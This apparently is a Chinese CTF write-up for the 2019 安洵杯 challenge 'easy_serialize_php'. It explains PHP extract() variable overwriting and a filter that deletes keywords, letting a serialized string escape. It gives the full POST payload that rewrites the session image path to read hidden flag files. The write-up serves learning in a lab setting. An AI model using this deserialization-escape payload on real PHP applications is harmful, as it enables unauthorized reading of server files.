【安洵杯 2019】easy_serialize_php

这是一道字符串减少的题目值得一做
进来就是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
//把识别到的字符换成了空字符
if($_SESSION){
unset($_SESSION);
}
//清楚$_SESSION的内容
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
//给$_SESSION['img']赋值
$serialize_info = filter(serialize($_SESSION));
//看到这里应该就能反应过来是字符串减少的题目
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
?>

代码审计注意到有不熟悉的玩意$_SESSIONextract()
$_SESSION变量
作用是访客与整个网站交互过程中一直存在的公有变量
extract() 函数
作用是从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量
更具体的用法参考https://www.runoob.com/php/func-array-extract.html

1
2
3
4
5
6
7
<?php
$a = "Original";
$my_array = array("a" => "Cat", "b" => "Dog", "c" => "Horse");
extract($my_array, EXTR_PREFIX_SAME, "dup");
echo "$a = $a; $b = $b; $c = $c; $dup_a = $dup_a";
?>
结果:$a = Original; $b = Dog; $c = Horse; $dup_a = Cat

在这道题目里这个函数接收了post传输的数据
如果你传入的是** _SESSION[flag]**
那么他就会覆盖之前的**$_SESSION[“user”]和$_SESSION[“function”]**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
$_SESSION["a"] = 'aa';
$_SESSION["b"] = 'bb';
var_dump($_SESSION);
extract($_POST);
echo "\n";
var_dump($_SESSION);
?>
post:
_SESSION[cc]=1
结果:
array(2) { ["a"]=> string(2) "aa" ["b"]=> string(2) "bb" }
array(1) { ["cc"]=> string(1) "1" }

可以看到post传输的参数里的cc被自动加上了双引号,这里是一个小细节
步骤
随便给$_SESSION变量赋值看看怎么构造

1
2
3
4
5
6
7
8
9
10
$_SESSION["user"] = "woai";
$_SESSION["function"] = "yuanshen";
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else {
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
echo serialize($_SESSION);
运行结果:
a:3:{s:4:"user";s:4:"woai";s:8:"function";s:8:"yuanshen";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

分析一下发现只有user和function的值是可控的,所以我们需要利用可控的值来使得字符串逃逸出来

1
2
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION["function"] ='1";s:8:"function";s:1:"s";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';

post传参(_SESSION前面没$是因为加上之后会就导致变量名字变成了$$_SESSION):
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:1:"s";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
后面查看源代码提示flag在flag in /d0g3_fllllllag
然后把传参的img的值改一下就好了


【安洵杯 2019】easy_serialize_php
http://example.com/2024/08/11/[安洵杯 2019]easy_serialize_php/
作者
unjoke
发布于
2024年8月11日
许可协议